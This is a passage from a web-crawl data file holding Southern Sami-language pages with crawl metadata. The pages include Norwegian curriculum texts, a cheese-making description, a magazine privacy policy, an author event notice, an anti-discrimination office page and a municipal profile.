mieriedimmie jïh vadteme luhpieh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.statsforvalteren.no\/sma\/more-jih-romsdalen\/byjrese-jih-klijma\/slaavvoe-jih-orreatnoe\/","date":"2022-05-18T02:56:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662521041.0\/warc\/CC-MAIN-20220518021247-20220518051247-00394.warc.gz","language":"sma","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":42,"top_langs":"{\"sma_Latn_score\": 1.000003457069397}","num_words":79,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maanah jïh noerh leah tjetskehke jïh sijhtieh goerehtidh jïh skaepiedidh. Lïerehtimmesne learohkh edtjieh gellie nuepieh åadtjodh eadtjohkevoetem jïh goerehtimmievæljoem evtiedidh. Maehtelesvoete gihtjedh, goerehtidh jïh voejhkelidh lea vihkeles gïengelelïerehtæmman. Skuvle edtja respekteradidh jïh eadtjaldehtedh ovmessie vuekieh goerehtidh jïh skaepiedidh. Learohkh edtjieh lïeredh jïh evtiedidh damtijimmien jïh ussjedimmien tjïrrh, estetihkeles smaarehhammoejgujmie jïh praktihkeles darjomigujmie. Nööremes maanide skuvlesne lea stååkedidh daerpies jis dah edtjieh murriedidh jïh evtiedidh, men aaj lïerehtimmesne elliesvoetine stååkedidh nuepieh vedtedh kreatijveles jïh vihkeles lïeremasse.\nKreatijveles jïh skaepiedihks maehtelesvoeth viehkehte siebriedahkem buaranidh. Laavenjostome skreejrie orreussjedæmman jïh entreprenöörevoete, guktie orre åssjelh darjoemidie sjidtieh. Learohkh gïeh lierieh skaepiedihks dorjesi bïjre jïh dan tjïrrh, maehtelesvoetem evtiedieh ovmessie vuekine buektieh, jïh dåeriesmoerh luetieh jïh orre gyhtjelassh gihtjieh.\nTjeahpoen jïh kultuvren sisnie gellie skaepiedihks jïh kreatijve faagesuerkieh, mah tsevtsieh dovne mijjen fysihken dajvide jïh siebriedahkeevtiedimmiem. Mijjen estetihkeles vuerie evtede gosse ovmessie kulturelle maehtelesvoetide råaka, jïh dah viehkiehtieh orre perspektijvide lutnjedh. Tjeahpoe- jïh kultuvremaehtelesvoete lea aaj vihkeles fïere guhten persovneles evtiedimmesne. Kulturellen dååjrehtimmieh jïjtjeaarvoem utnieh, jïh learohkh edtjieh joekehts speekterem kultuvremaehtelesvoetijste dååjrehtidh sov skuvletïjjen mietie.\nStuerebe perspektijvesne lea skaepiedihks lïeremeprosessh aaj tsiehkie learohki skearkagimmiem jïh identiteeteevtiedimmiem. Skuvle edtja aarvoeh bïejedh jïh learohki daajroevæljoem jïh skaepiedimmiefaamoem skreejredh, jïh learohkh edtjieh dej skaepiedihks faamoem nuhtjedh abpe maadthööhpehtimmien tjïrrh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/opplaringens-verdigrunnlag\/1.4-skaperglede-engasjement-og-utforskertrang\/?kode=kda01-02&lang=sma","date":"2022-05-18T15:28:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522284.20\/warc\/CC-MAIN-20220518151003-20220518181003-00208.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":265,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":200,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voeje, vuasta jïh gampa\nGuhkebe enn 2 000 jaepieh leah båantah Orrestaaresne govsh, gaajhtsh jïh sïrvh åtneme. Lissine bearkoeh, dueljieh jïh ålloeh aaj juvri mielhkiem nuhtjieh.\nJuvrh buhtjin dovne aereden jïh iehkeden. Mielhkie bæhtose gurkin. Gosse mielhkie boelhkem tjåådtjeme dellie buejtie, gïhpe, bæjjese gabpalostoe. Gïhpem gåajvoste jïh destie maahtah voejem darjodh. Maahtah jïjtje voejhkelidh dam darjodh jïh gïhpe sjåavodh goske voeje sjædta.\nGurkesth mielhkiem krovhtese jïh baahkenh dam (medtie 37 gradeerh). Vaeltieh krovhtem vuebneste, lissehte lööpem, sjåavohth jïh baajh mielhkiem tjåadtjodh. Gosse mielhkie leehpeme jïh ruarmam sjïdteme, dellie dam juakah jïh bïejh dam tjulhtese jïh baajh njåarodh. Dellie dov leah vuasta maam gaervies vöörhkedh.\nRuarmeste, gosse vuastam bæjjese vaalteme maehtieh ruarmadidh. Dïhte tjuara tjåadtjodh doeltelidh vuebnesne gellie tæjmoeh. Sjåavohth jïh vuejnieh guktie ij gåarodh.","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/nolavonda.se\/sma\/voeje-vuasta-jih-gampa","date":"2022-05-29T03:11:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00089.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":121,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PERSOVNEVAARJELIMMIEBÆJHKOME\nPERSOVNEVAARJELIMMIEBÆJHKOME Sámi magasijnese jïh ektiedamme digitaale bæjhkoehtimmide jïh dïenesjidie.\nSámi magasijne (SM) tuhtjie vihkeles dov persovnevaarjelimmiem vaarjelidh jïh respekteradidh. SM persovnebïevnesh gïetede persovnebïevneselaaken mietie dej fierhten aejkien sïejhme laaki mietie. Daate persovnevaarjelimmiebæjhkome buerkeste mah persovnebïevnesh mijjieh dåastobe jïh sïjse tjöönghkebe gosse datne digitaale bæjhkoehtimmieh jïh vuelebe dïenesjh nuhtjh mejtie SM bæjhkohte (aaj faamosne \"digitaale vuekieh\"), jïh maam mijjieh darjobe juktie dov persovnebïevnesh vaarjelidh.\nSM datnem haasta daejnie persovnevaarjelimmiebæjhkoeminie hijvenlaakan åahpenidh. Gosse datne mijjen bæjhkoehtimmieh jïh dïenesjh åtnose vaaltah datne mijjen gïetedimmiem persovnebïevnesijstie jååhkesjh daan persovnevaarjelimmiebæjhkomem mietie jïh dej mieriej sisnjeli mah leah daaletje laaki mietie.\n1 GÏETEDIMMIEN TJÅADTJOEHTÆJJA\nSámi magasijne (SM) dïedtem åtna gïetedimmien åvteste persovnebïevnesijstie dej digitaale bæjhkoehtimmiejgujmie jïh vuelebe dïenesjigujmie, mejtie SM olkese vadta.\n2 PERSOVNEBÏEVNESH\n2.1 Bïevnesh datne jïjtje mijjese vadtah\nSámi magasijne (SM) doh persovnebïevnesh gïetede mejtie datne vadtah gosse jïjtjemdh mijjen luvnie registreredh, jïh bïevnesh mejtie jeatjahlaakan jïjtjevyljehke datneste vadtah, vuesiehtimmien gaavhtan gosse utnijeprofijlem tseegkh, bïevnesh vadtah nommen, adressen, e-påasten, mobijlenommeren, aalteren jïh dagke aaj ïedtji bïjre.\n2.2 Bïevnesh SM sïjse tjöönghkie gosse mijjen dïenesjh nuhtjh\nGosse digitaale bæjhkoehtimmieh jïh vuelebe dïenesjh nuhtjh, Sámi magasijne (SM) registrerede viehkine ovmessie analyjsedïrregijstie, dov darjomh. SM aaj bïevnesh sïjse tjöönghkie dehtie ektievoeteste maam nuhtjh, gosse mijjen digitaale vuekieh vaaksjoeh, vuesiehtimmien gaavhtan bïevnesh IP-adressen, operatijvesysteemen, nedtelohkijen jïh nedteviermien bïjre.\nSM aaj bïevnesh tjöönghkie åtnoen jïh trafihken bïjre, vuesiehtimmien gaavhtan bïevnesh sïjseloggadimmiehistorihken bïjre, åtnoe- jïh svihtjememöönsteren bïjre, mah tjaalegh utnijh luhkieh, man gellien aejkien tjaalegh leah vuajnalgamme jïh man gellie utnijh. SM aaj bïevnesh tjöönghkie saernieprieviedongkemen bïjre, daan nuelesne mah saernieprievieh mah dutnjien seedtesuvvieh, guhte dejstie datne rïhpesth, maam e-påasteklientide datne nuhtjh, gusnie datne leah gosse saernieprieviem rïhpesth jïh misse deadtah daejnie e-påastine.\nDastegh datne sijjiebaseradamme dïenesjh nuhtjh, Sámi magasijne (SM) maahta sïjse tjöönghkedh jïh bïevnesh gïetedidh dov posisjovnen bïjre. SM sæjhta sjïerelaakan datnem bïeljelidh jïh jååhkesjimmien bïjre birredh åvtelen dagkerh bïevnesh sïjse tjöönghkebe. Datne maahtah saaht gåessie dov jååhkesjimmiem bååstede giesedh daaletje laaki mietie.\n2.3 Sjïere åtnoen bïjre cookiesistie\nMijjen digitaale vuekine nuhtjebe bïevnesekaapselh, mah gohtjesuvvieh cookies: Vielie bïevnesh, vuartesjh http:\/\/samimag.no\/sma\/content\/cookies\nMïerhkh, gosse datne Sámi magasijnem (SM) nuhtjh dellie aaj mijjen åtnoem bïevnesekaapselijstie (cookies) jååhkesjh.\n3 MIJJEN ÅTNOE PERSOVNEBÏEVNESIJSTIE\nSM persovnebïevnesh nuhtjie mejtie datne leah vadteme juktie maehtedh dutnjien dejtie dïenesjidie vedtedh mej åvteste datne lea jïjtjemdh registreradamme, jïh juktie maehtedh datnine govlesadtedh daej bïjre. Mijjieh aaj sïjse tjöönghkebe jïh bïevnesh gïetedibie gosse mijjen dïenesjh nuhtjh mah leah bijjielisnie buerkiestamme juktie maehtedh sisvegem sjïehtedidh jïh annonside sjïerelaakan stuvredh dov dåemiedimmien jïh preferanseaarvehtsi mietie, maarhkedetreendh analyseradidh, mijjen bæjhkoehtimmieh jïh dïenesjh bueriedidh jïh båajhtoeh åtnoem heerredidh jïh vueptiestidh.\n3.1 Persovneprofijlh\nMuvhten aejkien SM persovnebïevnesh vierteste mejtie mijjieh åådtjebe datneste bïevnesigujmie jeatjah gaaltijijstie. Maahta vuesiehtimmien gaavhtan årrodh mijjieh dongkemedaatah jïh bïevnesh nommen jïh adressen bïjre viertiestibie mejtie datne leah vadteme, bïevnesigujmie dej bæjhkoehtimmiej jïh låhkoej bïjre datne nuhtjh, sïjseloggadimmiehistorihke jallh daatah dov åtnoemöönsteren bïjre. Daah daatah öörnesuvvieh goh persovneprofijlh jïh tjåanghkan bïejesuvvieh krypteradamme jïh tjeakoes utnije-id'i baaktoe. Sijhtebe aaj maehtedh segmenteradidh dagkerh persovneprofijlh tjïertestamme segemeenti sïjse. SM dam dorje juktie maehtedh mijjen sisvegem sjïehtedidh, annonsh jïh maarhkededoekemegyhtjelassh sjïerelaakan dutnjien stuvredh jïh maehtedh mijjen digitaale bæjhkoehtimmieh jïh ektiedamme dïenesjh guhkiebasse evtiedidh.\n3.2 Maarhkededoekeme\nSámi magasijne (SM) persovnebïevnesh nuhtjie juktie dutnjien bïevnesh jïh maarhkededoekemem vedtedh bæjhkoehtimmiej jïh dïenesji bïjre mejstie datne maahtah ïedtjem utnedh, baseradamme dejtie bïevnesidie datne jïjtje leah vadteme jallh dej bïevnesi mietie SM lea sïjse tjöönghkeme åtnoen tjïrrh mijjen digitaale dïenestijstie (persovneprofijlh)\nJis datne leah jallh dongkije orreme, pryövedongkije jallh leah utnijeprofijlem jeatjahlaakan registreradamme, vuesiehtimmien gaavhtan saernieprievieh åadtjodh, leah maahteme krïevenassi tjïrrh jååhkesjamme elektrovneles govlesadtemem jïh maarhkededoekemem dåastodh goh åestije, jïh SM maahta dellie govlehtimmieh seedtedh dan jååhkesjimmien mietie maam vadteme. SM maahta aaj dutnjien maarhkededoekemem elektrovneles seedtedh, goh e-påaste jïh sms, dej krïevenassi mietie mah leah sïejhme laaki mietie, goske datne jïjtje beavnah datne ih vielie dagkeres govlesadtemem sïjhth. Maahtah saaht gåessie veeljedh jïjtjemdh reserveradidh dagkeres govlehtimmiej vööste.\nJis ih leah utnijeprofijlem mijjen luvnie registreradamme jallh dov gaskesedaatah såårneme goh åestije, SM sæjhta ajve saernieprievieh jïh elektrovneles maarhkededoekemem seedtedh jis datne sjïerelaakan leah jååhkesjamme dagkerh govlehtimmieh dåastodh.\n4 DEELLEME PERSOVNEBÏEVNESIJSTIE\nPersovnebïevnesh SM dov bïjre åtna maehtieh deellesovvedh jeatjah sïeltide mijjen konsernen sisnjelen, jïh aaj dejtie sïeltide mah latjkoen mietie mijjine, dam teknihkeles jallh reereles barkoem utnieh mijjen digitaale bæjhkoehtimmijste jïh ektiedamme dïenestistie. Gosse SM gåalmedeguejmide luhpiem vadta persovnebïevnesidie naemhtie, SM gorrede daah gåalmedeguejmieh mijjen krïevenassh gïetedimmien bïjre persovnebïevnesijstie jïh sïejhme laakijste steerieh. Persovnebïevnesh maehtieh aaj vadtasovvedh dastegh daate lea luhpies laaken mietie, jallh SM stillesåvva dam darjodh aktede riekteste jallh jeatjah byögkeles åejvieladtjeste.\nSámi magasijne (SM) maahta gåalmedeguejmide luhpiem vedtedh akkumuleradamme jïh tjeakoes daatide.\n5 SÁMI MAGASIJNE (SM) GÏETEDIMMIE PERSOVNEBÏEVNESIJSTIE\nAjve autoriseradamme barkijh Morgenbladet-plaerien luvnie luhpiem åtna dov persovnebïevnesidie. Luhpie persovnebïevnesidie lea gorredamme luhpiekontrolline jïh tjeakoesbaakojne. SM avanseradamme teknologijem nuhtjie juktie heerredidh olles luhpehts almetjh mijjen systeemi sïjse båetieh.\nSámi magasijne (SM) tjaaleldh ruvtijnh åtna sisnjeldskontrollese jïh bïevnesejearsoesvoetese juktie gorredidh jïh vihtiestidh mijjen gïetedimmie persovnebïevnesijstie lea sïejhme laaki mietie.\nDov persovnebïevnesh sijhtieh ajve vöörhkesovvedh dan guhkiem mijjieh saakeles daerpiesvoetem utnebe dam darjodh daan persovnebæjhkomen jïh sïejhme laaki mietie. Gosse saakeles daerpiesvoete ij vielie gååvnesh, sijhtebe bïevnesidie hiejhtedh jallh dejtie tjeakoes darjodh.\n6 DOV REAKTAH\nDov lea iktesth reaktah vuejnedh doh bïevnesh mah leah dov bïjre registreradamme, jïh maahtah staeriedimmiem jïh hiejhtemem krïevedh sïejhme laaki mietie.\n7 JARKELIMMIEH DAEHTIE PERSOVNEVAARJELIMMIEBÆJHKOEMISTIE\nSámi magasijne (SM) maahta daam persovnevaarjelimmiebæjhkomem revideradidh gosse gïetedimmie persovnebïevnesijstie jorkese, jallh gosse revisjovne lea daerpies jarkelimmiej gaavhtan sïejhme laakine. Gosse SM jarkelimmieh dorje daennie bæjhkoemisnie SM sæjhta revisjovnedaatovem daennie sæjrosne jarkelidh, jïh dïhte jarkelamme persovnevaarjelimmiebæjhkome faamoem åådtje minngemes revisjovnebiejjien raejeste. SM sæjhta jarkelimmide hijven våajnoes darjodh, men juvnehtibie datne jaabnan persovnevaarjelimmiebæjhkomem lohkh gosse mijjen digitaale vuekieh vaaksjoeh. Lissine sijhtebe tjaavhkodh aarebi versjovnh persovnevaarjelimmiebæjhkoemistie aktene våarhkosne, guktie datne maahtah dejtie aelhkieslaakan åadtjodh.\n8 GOVLEHTIMMIEH\nJis sïjhth vielie bïevnesh åadtjodh mijjen gïetedimmien bïjre persovnebïevnesijstie, maahtah mijjem gaskesadtedh daesnie firstname.lastname@example.org.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/samimag.no\/sma\/gpdr-3\/","date":"2022-05-24T17:51:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662573189.78\/warc\/CC-MAIN-20220524173011-20220524203011-00657.warc.gz","language":"sma","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.9999991655349731}","num_words":935,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Leine Bientien Anne-Grethe gon Biernah:\nMah dåeriesmoerh jïjhtelieh gosse dovne saemide jïh laedtide tjaeledh? Mejtie aelhkebe guektiengïeleh teksth tjaeledh, saemien jïh daaroen, jis ij daarpesjh baakoste måbpan jarkoestidh?\nMij biejjide: Voerhtjen 7.biejjien\nMennie mieresne: 16.00-18.00\nGusnie: Online\nSvaalhtesem daase biejjien åvtelen bïejijibie.\nOM\nAnne-Grethe gonnoeh Biernah orre gærjah tjaaleme, mubpie saemien gïelesne «Mijjen luvnie jaememe jeala» jih mubpie daaroen gïelesne «Midt iblant oss lever døden». Dah sïjhtijægan saarnodh mij dåeriesmoeride jïjhteli gosse tjeeligan jïh man geerve (jïh luste) lij jaememen jïh sårkoen bïjre tjaeledh.\nDah sïjhtijægan aaj soptsestidh man hijven lij gosse idtjigan tjoeverh mubpien gïeleste måbpan gïelese jarkoestidh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/sijtijarnge.no\/sor\/tospraklige-tekster-sorsamisk-og-norsk\/","date":"2022-05-26T05:54:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662601401.72\/warc\/CC-MAIN-20220526035036-20220526065036-00368.warc.gz","language":"sma","language_score":0.9999842644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999842643737793}","num_words":98,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeh mijjieh?\nÖrebro Rättighetscenter lea religijovnen jïh krirriepolitihken ovtjatneme siebrie mij antidiskrimineeremebyråem jåhta. Mijjieh barkebe almetji seammavyörtegs reaktaj åvteste jïh diskrimineeremen vööste.\nMijjieh dejgujmie barkebe:\n- Namhtah juridihke raerievedtieminie jïh dåarjoe almetjidie gïeh demtieh dah diskrimineereme\n- Bïevnesh jïh ööhpehtimmie diskrimineeremen jïh diskrimineeremelaake-tseegkemen bïjre.\n- Oponijovnetseegkeme\/Lobbydeminie\nDiskrimineeremelaake\nMijjen barkoe voestes iereste diskrimineeremelaakesne tseegkeme. Diskrimineeremelaake datnem vaarjele guktie ih sjïdth diskrimineeredh barkosne, skuvlesne, bovrine jïh gåessie datne gåetiem leejjedh jallh åestedh. Laake aaj faamosne gellie jeatjah vihkeles sïebredahkesuerkine, goh healsoe- jïh skïemtjehokse, sosijaale dïenesjh jïh sosijaale jearsoesvoete.\nDiskrimineeremelaake næhta diskrimineeremem, gærroehtimmiem jïh repressalijerh. Dïhte gie dïedtem åtna diskrimineeremen åvteste maahta tjoeredh dan åvteste maeksedh. Gååvnese tjïjhtje diskrimineeremevåaromh mah vaarjelamme diskrimineeremelaaken mietie.\n- Etnihken ektiedimmie\n- Religijovne jallh mubpie jaahkoe\n- Svïhtjemeheaptoeh\n- Tjoele\n- Tjoeleidentiteete jallh tjoelevuesiehtimmie\n- Seksuelle vuekie\n- Aaltere\nBïeljelh mijjiem\nDatne maahtah mijjen gåajkoe båetedh guessine mijjen kontovrese Föreningarnas hus, Slottsgatan 13A Örebro:esne. Mijjieh ræhpas utnebe måanta-bearjadahke ts. 9:00 -16:00 (lunsjegaptjeme ts. 12.00-13.00 gaskem). Dængkoeh tïjjem mijjine åvtelhbodti dellie daajrah mijieh desnie. Jis dov naan gyhtjelassh maahtah mailem mijjese seedtedh email@example.com jallh ringkedh 019-184018","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/rattighetscenter.se\/wordpress\/aarjelsaemien-giele\/","date":"2022-05-18T13:49:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522270.37\/warc\/CC-MAIN-20220518115411-20220518145411-00502.warc.gz","language":"sma","language_score":0.9999961853,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999961853027344}","num_words":163,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hijven govlesadteme hïejmen jïh skuvlen gaskem positijve skuvlen barkosne learoebyjresinie jïh learohke byjjenimmiebyjresisnie. Eejhtegh jïh åelieh åejviedïedtem utnieh maanan eelemen jïh evtiedimmien åvteste. Dah leah maanaj jïh noeri vihkielommes hoksijh jïh maahtoem utnieh mejtie skuvle maahta utnedh gosse learohken skearkagimmiem, lïeremem jïh evtiedimmiem dåarjoehtidh. Skuvle bijjemes dïedtem åtna laavenjostoem skreejredh jïh sjïehteladtedh. Daate sæjhta jiehtedh hoksedh guktie eejhtegh jïh åelieh åadtjoeh bïevnesh mah daarpesjieh, jïh dah nuepiem åadtjoeh dej maanaj skuvleaarkebiejjiem maehtieh tsevtsedh.\nHïejmen vuajnoe skuvlese vihkeles learohki eadtjohkevoetesne jïh skuvlebarkosne. Eejhtegh jïh åelieh skuvlem dåastoehtieh ovmessie daerpiesvoetine, vuartojne jïh mïeline skuvlen ulmiej jïh praksisen bïjre. Destie maahta vigkiem sjïdtedh mij maahta gïerve skuvlesne gïetedidh. Skuvle tjuara tjïelkelaakan vuesiehtidh maam dïhte edtja darjodh jïh maam maahta faaledh, jïh maam skuvle hïejmeste vuertedh. Hijven jïh jearsoes dialoge gåabpatjahken dïedte. Skuvle tjuara læjhkan krööhkestidh eah gaajhkh learohkh seamma nuepiem utnieh viehkiem jïh dåarjoem hïejmesne åadtjodh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/3.-prinsipper-for-skolens-praksis\/3.3-samarbeid-mellom-hjem-og-skole\/?kode=nat02-04&lang=sma","date":"2022-05-16T12:00:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00508.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":262,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":143,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"02\/10\/2019 Anne Berit Anti Earoem åadtjoejigan juktie lin saemien åvteste gymhpeme Fïereguhtelaakan dah leah tjarke barkeme dan åarjelsaemien åvteste. Minngemes hïeljen gosse dah nammoehtimmiem earoedåaktarinie åadtjoejigan World Indigenous Nations Universiteeteste, mijjieh guhkiem dejgujmie soptsestimh dej jieleden jïh barkoen bïjre. You need to be connected to see this content. If you already have a subscription plan, click here to Login Otherwise, you need to purchase a subscription to see the contents. Shop","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/earoem-aadtjoejigan-juktie-lin-saemien-avteste-gymhpeme\/","date":"2022-05-24T18:45:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662573189.78\/warc\/CC-MAIN-20220524173011-20220524203011-00179.warc.gz","language":"sma","language_score":0.9914344549,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9914344549179077}","num_words":70,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjïelte jih politihke\nKraapohken tjïelte lea akte dejstie åarjemes tjïeltijste Viesterbetnien leenesne jïh valkedhokse Lapplaanten dajvese – goh Lapplaanten Åarjel valkedhokse!\nKraapohkisnie datne maahtah unnemes mejnie stööremes ektiedidh!\nDïhte unnemes datne Kraapohken tjïeltesne gaavnh gusnie medtie 2 500 årrojh lea jïh gusnie gietskievoete gaajhkide. Stööremes lea tjïelten stoerre dajve. Mijjen eatneme jïh gietskievoetem vaeride jïh gaajhkide dååjrehtimmide jïh akte ræjhkoes ålkoejieleme buerie nuepiejgujmie vijremasse, göölemasse, goebpere- jïh muerjietjööngkemasse jnv. Sjïere Kraapohkasse lea staaten otnjegi siebriedahke-eadtjalgehtemem jïh mijjen buerie jielemeklimaate gusnie gellieh nyjsenæjjah jïh gaarmanæjjah jïjtsh darjemes sijjieh utnieh.\nKraapohken tjïelte akten saemien reeremedajve jïh gællesje akten åerjelsaemien gïele-\/voerngesdajvesne.\nSaemien nomme lea Kraapohken tjïelte. Kraapohke saemien sijjienomme Dorotease. Dïhte hijven sjeahta guktie saemieh sijjiem goerkelieh.\nSeamma saahth jis datne gåetieluhpiem ohtsedh, joe tjïeltesne årroeminie jallh kaanne industrijesavkam ohtsedh datne maahtah tjïeltese jårredh ihke gyhtjelassh gihtjedh jïh raeriestæmman.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.dorotea.se\/kommun-och-politik\/tj%C3%AFelte-jih-politihke\/","date":"2022-05-19T02:43:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522741.25\/warc\/CC-MAIN-20220519010618-20220519040618-00670.warc.gz","language":"sma","language_score":0.9999918938,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999918937683105}","num_words":133,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte raavsoeslaakan jïh dåarjoehtamme lïeremebyjrese lea positijve kultuvren våarome gusnie learoehkidie madtjeldehtedh jïh faageles jïh sosijaale evtiedæmman skreejredh. Jis learohkh ovjearsoes demtieh, dellie destie lïeremem heerredidh. Tjïelke jïh hoksije geerve almetjh jearsoes lïeremebyjresh evtiedieh jïh tjåadtjoehtieh, learohkigujmie. Barkijh skuvlesne, eejhtegh jïh åelieh jïh learohkh ektesne dïedtem utnieh healsoem, murriedimmiem jïh lïeremem buektieh, jïh irhkemem jïh mïedtelimmiem heerredieh. Barkosne feerhmeles jïh skreejreme lïeremebyjresem evtiedidh edtja gellievoetem vierhtine jååhkesjidh.\nLearohkelaavenjosteme tjuara skuvlen rïektesisnie vuesiehtidh. Learohkh edtjieh dovne laavenjostedh jïh dïedtem vaeltedh lïeremeektievoetesne mah dah lohkehtæjjaj ektesne fïerhten biejjien skaepiedieh. Learohkh ussjedieh, dååjrehtieh jïh lierieh mubpiejgujmie lïeremeprosessi, govlesadtemen jïh ektiebarkoen tjïrrh. Skuvle edtja learoehkidie lïeredh dööpmemefaamoem vuesiehtidh gosse mubpiejgujmie soptsestidh, jïh hokse dah lierieh laavenjostedh sjïehteles vuekine ovmessie tsiehkine.\nDah normh jïh aarvoeh mah lïeremeektievoetesne vuesiehtieh, vihkeles learohki sosijaale evtiedimmesne. Vïenevoete ektievoetem skaepede jïh mijjiem gaajhkem unnebe prååsehke sjidtieh. Gosse mijjieh dååjrehtibie naaken mijjem jååhkesje jïh laejhtede, dellie lïerebe mijjieh aarvoem utnebe jïh mubpieh aaj aarvoem utnieh. Learohkh edtjieh lïeredh joekehts krööhkestidh jïh guarkoeh gaajhkh sijjiem utnieh ektievoetesne. Fïerhte learohke histovrijem meatan åtna, jïh dah leah håhkoem jïh åssjelh båetije biejjiej bïjre. Gosse maanah jïh noerh respektem jïh jååhkesjimmiem byjjenimmesne råekieh, dellie demtieh dah leah ektievoetesne.\nSkuvle maahta learoehkidie praktihkeles jïh jielemelïhke dååjrehtimmieh vedtedh gosse ovmessie lïeremearenah nuhtjie mah motivasjovnem jïh vuajnoem åvtese buakta. Voengesbyjresen jïh siebriedahken skreejreme maahta positijveles vuekien meatan skuvlen jïh learohki evtiedæmman. Ovmessie hammoeh voenges, nasjonaale jïh internasjonaale laavenjostoeh learohki lïeremem tjatneme byögkeles gyhtjelasside. Maahtoeevtiedimmie almetjigujmie gaajhkene aalterinie jïh ovmessie sijjeste veartanisnie learoehkidie perspektijvh vedtieh dej jïjtse lïereme, skearkagimmie jïh identiteete jïh aarvoem vuesehte laavenjostedh gïeleldh, politihken jïh kulturellen rastaj dåaresth.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/3.-prinsipper-for-skolens-praksis\/3.1-et-inkluderende-laringsmiljo\/?kode=sfs02-02&lang=sma","date":"2022-07-03T18:16:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104248623.69\/warc\/CC-MAIN-20220703164826-20220703194826-00035.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":265,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":262,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aerpievuekien vætnam vaarjelidh jïh jealajehtedh\n- Undervisningsspråk: Ööhpehtimmien åejviegïele åarjelsaemien. Åesie lohkehtimmeste dovne daaroen.\n- Guktie faage öörneldh: Studije tjåanghkoej baakta jåhta, Aajege – saemien gïele- jïh maahtoejarngesne, Plaassjesne.\n- 15 studijetsiehkieh\n- 